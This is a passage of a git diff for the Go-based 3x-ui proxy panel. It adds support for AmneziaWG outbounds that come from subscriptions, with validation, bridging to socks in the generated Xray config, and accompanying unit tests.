service.SettingService @@ -126,26 +126,29 @@ func reconcileAmneziaWGDatapaths(embedded []amneziawgnet.Desired, kernel []amnez embeddedManager.Reconcile(readyEmbedded) } -// desiredOutboundInstances derives client instances per template "amneziawg" outbound. +// desiredOutboundInstances derives client instances per template or subscription "amneziawg" outbound. func (j *AmneziaWGJob) desiredOutboundInstances() ([]amneziawgnet.OutboundDesired, error) { template, err := j.settingService.GetXrayConfigTemplate() if err != nil { return nil, err } - if template == "" { - return nil, nil - } - cfg := &xray.Config{} - if err := json.Unmarshal([]byte(template), cfg); err != nil { - return nil, err - } - if len(cfg.OutboundConfigs) == 0 { - return nil, nil - } var raws []json.RawMessage - if err := json.Unmarshal(cfg.OutboundConfigs, &raws); err != nil { + if template != "" { + cfg := &xray.Config{} + if err := json.Unmarshal([]byte(template), cfg); err != nil { + return nil, err + } + if len(cfg.OutboundConfigs) > 0 { + if err := json.Unmarshal(cfg.OutboundConfigs, &raws); err != nil { + return nil, err + } + } + } + subscribed, err := (&service.OutboundSubscriptionService{}).ActiveAmneziaWGOutbounds() + if err != nil { return nil, err } + raws = append(raws, subscribed...) out := make([]amneziawgnet.OutboundDesired, 0, len(raws)) for _, raw := range raws { if !amneziawg.IsAmneziaWGOutbound(raw) { diff --git a/internal/web/job/amneziawg_job_test.go b/internal/web/job/amneziawg_job_test.go new file mode 100644 index 000000000..c1a4e7ae6 --- /dev/null +++ b/internal/web/job/amneziawg_job_test.go @@ -0,0 +1,56 @@ +package job + +import ( + "encoding/json" + "path/filepath" + "testing" + + "github.com/mhsanaei/3x-ui/v3/internal/database" + "github.com/mhsanaei/3x-ui/v3/internal/database/dbtest" + "github.com/mhsanaei/3x-ui/v3/internal/database/model" + wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard" +) + +// A subscribed amneziawg outbound is bridged to the egress listener by tag, so it needs its +// device; one config generation drops (a private endpoint) must not get a device dialing it. +func TestDesiredOutboundInstancesForSubscribedAmneziaWG(t *testing.T) { + cases := []struct { + name, endpoint string + want []string + }{ + {"public endpoint gets a device", "8.8.8.8:51820", []string{"p-awg"}}, + {"private endpoint without allowPrivate gets none", "10.0.0.7:51820", nil}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + dbtest.InitDB(t, filepath.Join(t.TempDir(), "x-ui.db")) + priv, pub, err := wgutil.GenerateWireguardKeypair() + if err != nil { + t.Fatal(err) + } + stored, _ := json.Marshal([]any{map[string]any{ + "tag": "p-awg", "protocol": "amneziawg", + "settings": map[string]any{ + "secretKey": priv, "address": []string{"10.8.1.2/32"}, + "jc": 4, "jmin": 10, "jmax": 50, "s1": 30, "s2": 40, "h1": "1", "h2": "2", "h3": "3", "h4": "4", + "peers": []any{map[string]any{"publicKey": pub, "allowedIPs": []string{"0.0.0.0/0"}, "endpoint": c.endpoint}}, + }, + }}) + sub := &model.OutboundSubscription{Url: "https://provider.example/sub", TagPrefix: "p-", Enabled: true, LastFetchedOutbounds: string(stored)} + if err := database.GetDB().Create(sub).Error; err != nil { + t.Fatalf("seed subscription: %v", err) + } + got, err := NewAmneziaWGJob().desiredOutboundInstances() + if err != nil { + t.Fatalf("desiredOutboundInstances: %v", err) + } + var tags []string + for _, d := range got { + tags = append(tags, d.Instance.Tag) + } + if len(tags) != len(c.want) || (len(tags) == 1 && tags[0] != c.want[0]) { + t.Fatalf("desired outbound tags = %v, want %v", tags, c.want) + } + }) + } +} diff --git a/internal/web/service/outbound_subscription.go b/internal/web/service/outbound_subscription.go index 5b77f4541..dd22882a8 100644 --- a/internal/web/service/outbound_subscription.go +++ b/internal/web/service/outbound_subscription.go @@ -16,6 +16,7 @@ import ( "strings" "time" + "github.com/mhsanaei/3x-ui/v3/internal/amneziawg" "github.com/mhsanaei/3x-ui/v3/internal/database" "github.com/mhsanaei/3x-ui/v3/internal/database/model" "github.com/mhsanaei/3x-ui/v3/internal/logger" @@ -30,7 +31,8 @@ import ( // vless/trojan outbounds to public addresses — because one such outbound in // the merged config would keep the whole core from starting. When the running // core predates that rejection, unencrypted outbounds are kept, mirroring -// CheckXrayConfig's version gate. +// CheckXrayConfig's version gate. The core has no amneziawg protocol (it gets a +// socks bridge), so those are checked by amneziawg's own validator instead. func filterOutboundsRejectedByCore(label string, outbounds []any) ([]any, []string) { coreVersion := "Unknown" if process := currentXrayProcess(); process != nil { @@ -41,7 +43,13 @@ func filterOutboundsRejectedByCore(label string, outbounds []any) ([]any, []stri for _, ob := range outbounds { raw, err := json.Marshal(ob) if err == nil { - if buildErr := xray.ValidateOutboundConfig(raw); buildErr != nil && !shouldSkipLegacyUnencryptedOutboundRejection(coreVersion, raw, buildErr) { + var buildErr error + if amneziawg.IsAmneziaWGOutbound(raw) { + buildErr = amneziawg.ValidateAmneziaWGOutbound("subscription", raw) // tags may be unassigned yet + } else if buildErr = xray.ValidateOutboundConfig(raw); buildErr != nil && shouldSkipLegacyUnencryptedOutboundRejection(coreVersion, raw, buildErr) { + buildErr = nil + } + if buildErr != nil { tag := "" if m, ok := ob.(map[string]any); ok { tag, _ = m["tag"].(string) @@ -853,6 +861,33 @@ func (s *OutboundSubscriptionService) AllActiveOutbounds() ([]any, error) { return append(prepend, appendList...), nil } +// ActiveAmneziaWGOutbounds returns the subscribed amneziawg outbounds config generation keeps, +// without xray-core builds or drop logs: the AmneziaWG job calls it every tick. +func (s *OutboundSubscriptionService) ActiveAmneziaWGOutbounds() ([]json.RawMessage, error) { + var subs []*model.OutboundSubscription + if err := database.GetDB().Where("enabled = ?", true).Find(&subs).Error; err != nil { + return nil, err + } + ownPorts := xrayOwnPorts() + var out []json.RawMessage + for _, sub := range subs { + var stored []json.RawMessage + if json.Unmarshal([]byte(sub.LastFetchedOutbounds), &stored) != nil { + continue + } + for _, raw := range stored { + if !amneziawg.IsAmneziaWGOutbound(raw) || amneziawg.ValidateAmneziaWGOutbound("subscription", raw) != nil { + continue + } + var ob map[string]any + if json.Unmarshal(raw, &ob) == nil && internalDialTarget(ob, sub.AllowPrivate, ownPorts) == "" { + out = append(out, raw) + } + } + } + return out, nil +} + // activeOutboundsSplit returns the active subscription outbounds split into those // that should be placed BEFORE the manual template outbounds (Prepend) and those // placed AFTER. Within each group, subscriptions are ordered by Priority (then id) diff --git a/internal/web/service/outbound_subscription_test.go b/internal/web/service/outbound_subscription_test.go index 62ca9583e..541d1e81a 100644 --- a/internal/web/service/outbound_subscription_test.go +++ b/internal/web/service/outbound_subscription_test.go @@ -3,6 +3,7 @@ package service import ( "bytes" "encoding/base64" + "encoding/json" "errors" "fmt" "maps" @@ -22,6 +23,7 @@ import ( "github.com/mhsanaei/3x-ui/v3/internal/database" "github.com/mhsanaei/3x-ui/v3/internal/database/model" "github.com/mhsanaei/3x-ui/v3/internal/util/link" + wgutil "github.com/mhsanaei/3x-ui/v3/internal/util/wireguard" ) func TestOutboundSubscriptionCreatePropagatesAllocationDatabaseFailures(t *testing.T) { @@ -878,3 +880,44 @@ func TestOutboundSubscriptionCrossSubscriptionCollisionPersistsAndMatchesPanelSu t.Fatalf("AllActiveOutboundTags after disabling sub1 = %v (%v), want [gh-canada-1-1]", panelTagsAfterDisable, err) } } + +// A vpn:// AmneziaWG link must survive refresh (the core cannot build "amneziawg") and +// reach the core only as its socks bridge, which the core would otherwise refuse. +func TestOutboundSubscriptionAmneziaWGLinkReachesConfigAsBridge(t *testing.T) { + setupSettingTestDB(t) + priv, pub, err := wgutil.GenerateWireguardKeypair() + if err != nil { + t.Fatal(err) + } + conf := "[Interface]\nPrivateKey = " + priv + "\nAddress = 10.8.1.2/32\nJc = 4\nJmin = 10\nJmax = 50\nS1 = 30\nS2 = 40\n" + + "H1 = 1\nH2 = 2\nH3 = 3\nH4 = 4\n# awg\n[Peer]\nPublicKey = " + pub + "\nAllowedIPs = 0.0.0.0/0\nEndpoint = 8.8.8.8:51820" + subID := serveOutboundSubscription(t, "p-", func(int) string { + return "vpn://" + base64.RawURLEncoding.EncodeToString([]byte(conf)) + }) + obs, err := (&OutboundSubscriptionService{}).Refresh(subID) + if err != nil || len(obs) != 1 { + sub, _ := (&OutboundSubscriptionService{}).Get(subID) + t.Fatalf("Refresh = %v, %v (lastError %q), want the amneziawg outbound kept", obs, err, sub.LastError) + } + tag, _ := obs[0].(map[string]any)["tag"].(string) + if err := database.GetDB().Model(&model.OutboundSubscription{}).Where("id = ?", subID).Update("enabled", true).Error; err != nil { + t.Fatalf("enable: %v", err) + } + cfg, err := (&XrayService{}).GetXrayConfig() + if err != nil { + t.Fatalf("GetXrayConfig: %v", err) + } + var outbounds []map[string]any + if err := json.Unmarshal(cfg.OutboundConfigs, &outbounds); err != nil { + t.Fatal(err) + } + for _, ob := range outbounds { + if ob["tag"] == tag { + if ob["protocol"] != "socks" { + t.Fatalf("subscribed amneziawg outbound emitted as %v, want socks", ob["protocol"]) + } + return + } + } + t.Fatalf("outbound %q missing from generated config", tag) +} diff --git a/internal/web/service/xray.go b/internal/web/service/xray.go index f6a743765..600952258 100644 --- a/internal/web/service/xray.go +++ b/internal/web/service/xray.go @@ -439,6 +439,9 @@ func (s *XrayService) GetXrayConfig() (*xray.Config, error) { subSvc := &OutboundSubscriptionService{} if prepend, appendList, err := subSvc.activeOutboundsSplit(); err == nil && (len(prepend) > 0 || len(appendList) > 0) { mergeSubscriptionOutbounds(xrayConfig, prepend, appendList) + if err := transformAmneziaWGOutbounds(xrayConfig); err != nil { + return nil, err + } } // Route opted-in local mtproto inbounds through the core's router. Each one